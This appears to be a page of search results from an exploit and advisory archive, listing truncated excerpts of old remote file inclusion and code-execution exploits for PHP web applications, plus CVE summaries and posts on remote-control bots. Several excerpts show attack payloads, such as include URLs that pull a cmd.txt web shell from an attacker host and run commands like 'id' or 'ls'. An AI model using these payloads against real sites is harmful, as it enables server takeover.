982 matches found
Albinator <= 2.0.6 (Config_rootdir) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Albinator perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd =...
[Kurdish Secure Advisory #1] I-RATER Platinum "Admin/configsettings.tpl.php" Remote File Include Vulnerability
Website : http://www.i-rater.com Risk : High Class : Remote References : http://www.securityfocus.com/bid/17623 Credits : B3g0k,Nistiman,Flot,Netqurd and all my friend Remote Code : http://www.site.com/admin/configsettings.tpl.php?includepath=http://www.evilrox.com/cmd.txt?&cmd=id...
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Advanced GuestBook if @ARGV ne 3 else sub header print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "+ Advanced GuestBook for...
TopList <= 1.3.8 (phpBB Hack) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================= TopList = 1.3.8 phpBB Hack Remote File Inclusion Vulnerability ================================================================= Title: TopList Hack for PHPBB = 1.3.8 Remote...
Grep with web vulnerability discovery-vulnerability warning-the black bar safety net
Grep with web vulnerability mining Text/SuperHeiAtph4nt0m.org 2006-03-08 a. The following grephttp://www.interlog.com/tcharron/grep.htmldoes not support the-r parameter,you can use the following format: grep-in "\include|require\" C:\test\. php C:\test\admin\. php You can also use cygwin...
phpMyChat 0.15.0dev (SYS enter) Remote Code Execution Exploit
Exploit for unknown platform in category web applications ============================================================= phpMyChat 0.15.0dev SYS enter Remote Code Execution Exploit ============================================================= !/usr/bin/php -q -d shortopentag=on works with...
AngelineCMS 0.8.1 (installpath) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ============================================================= AngelineCMS 0.8.1 installpath Remote File Inclusion Exploit ============================================================= !/usr/bin/perl AngelineCMS 0.8.1 installpath Remote Cod...
VWar 1.5.0 R12 Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ============================================ VWar 1.5.0 R12 Remote File Inclusion Exploit ============================================ !/usr/bin/perl VWar perl vwar.pl http://site.com/VWar/ http://site.com/cmd.txt cmd cmd shell example: cm...
vwar.pl.txt
!/usr/bin/perl VWar perl vwar.pl http://site.com/vwar/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, and everyone else! special shout to illwill! Contact: www.exploitercode.com irc.exploitercode.com...
PHPNuke-Clan 3.0.1 (vwar_root2) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ============================================================= PHPNuke-Clan 3.0.1 vwarroot2 Remote File Inclusion Exploit ============================================================= !/usr/bin/perl PHPNuke-Clan 3.0.1 Remote File Inclusion...
Use msn to control the broiler msnbot robot-vulnerability warning-the black bar safety net
msnbot2. 0 instructions for use Program description: msnbot is a msn robot Control Service, the user can through this msnbot remote control is to run the program machine. It is a msn client tool, no need to msnMessager support. Through which a user can open a cmd shell. You can upload, download,...
cijfer-vsczpl.pl.txt
!/usr/bin/perl cijfer-vscxpl - Valdersoft Shopping Cart All rights reserved. 1. example cijfer@kalma:/research$ ./cijfer-vscxpl.pl -h www.valdersoft.com -d /store [email protected] /$ id;uname -a uid=2526apache gid=2524apache groups=2524apache, 10004psaserv FreeBSD valdersoft.com...
AWStats configdir parameter arbitrary cmd exec
The remote host is running AWStats, a free real-time logfile analyzer. The remote version of this software is prone to an input validation vulnerability. The issue is reported to exist because user supplied OpenVAS Vulnerability Test $Id: awstatsconfigdir.nasl 6056 2017-05-02 09:02:50Z teissa $...
[Full-disclosure] xss in php koala script v1.2
xss /info.php?user=xss and an upload vulnerability if you upload a file named file.gif.php /upload/file.gif.php?cmd=ls file.gif.php is attached...
Want to learn real hacking techniques? Come in and see-vulnerability warning-the black bar safety net
SkyPerson Although I am a Diamondback bird! But still to advise to want to learn network technology people 1, Do not research QQ, after all, QQ is not the technology, stolen a few number? The program is not write yourself, there is nothing to be proud of. 2, Do not study how to crack the cafe,...
VoteBox 2.0 - Votebox.php Remote File Inclusion
VoteBox 2.0 - Votebox.php Remote File Inclusion source: https://www.securityfocus.com/bid/12806/info It is reported that VoteBox is affected by a remote PHP file include vulnerability. This issue is due in part to the application failing to properly sanitize user-supplied input to the 'votebox.ph...
CVE-2004-2318
The administrative interface surgeftpmgr.cgi for SurgeFTP Server 1.0b through 2.2k1 allows remote attackers to cause a temporary denial of service crash via requests with two percent % signs in the CMD parameter...
Microsoft Windows Server 2000 - Utility Manager All-in-One (MS04-019)
/ COROMPUTER2004 Crpt Utility Manager exploit v2.666 modified by kralor Crpt It gets system language and sets windows names to work on any win2k :P Feel free to add other languages : v2.666: added autonomous allinone remote exploitation system ; It can be executed through poor cmd.exe shells like...
DoS через специальные устройства в Domino (DOS DoS)
Обращение к CGI-файлу с именем содержащим название DOS-устройства и длинным расширением приводит к запуску cmd.exe...
CVE-2001-0440
The connected document (MDKSA-2001:032-1) confirms a vulnerability in Licq pre-1.0.3 where received URLs are parsed without sufficient checks and passed to the system() call. This allows remote attackers to cause arbitrary commands to be executed on the client, via crafted URLs, and can lead to d...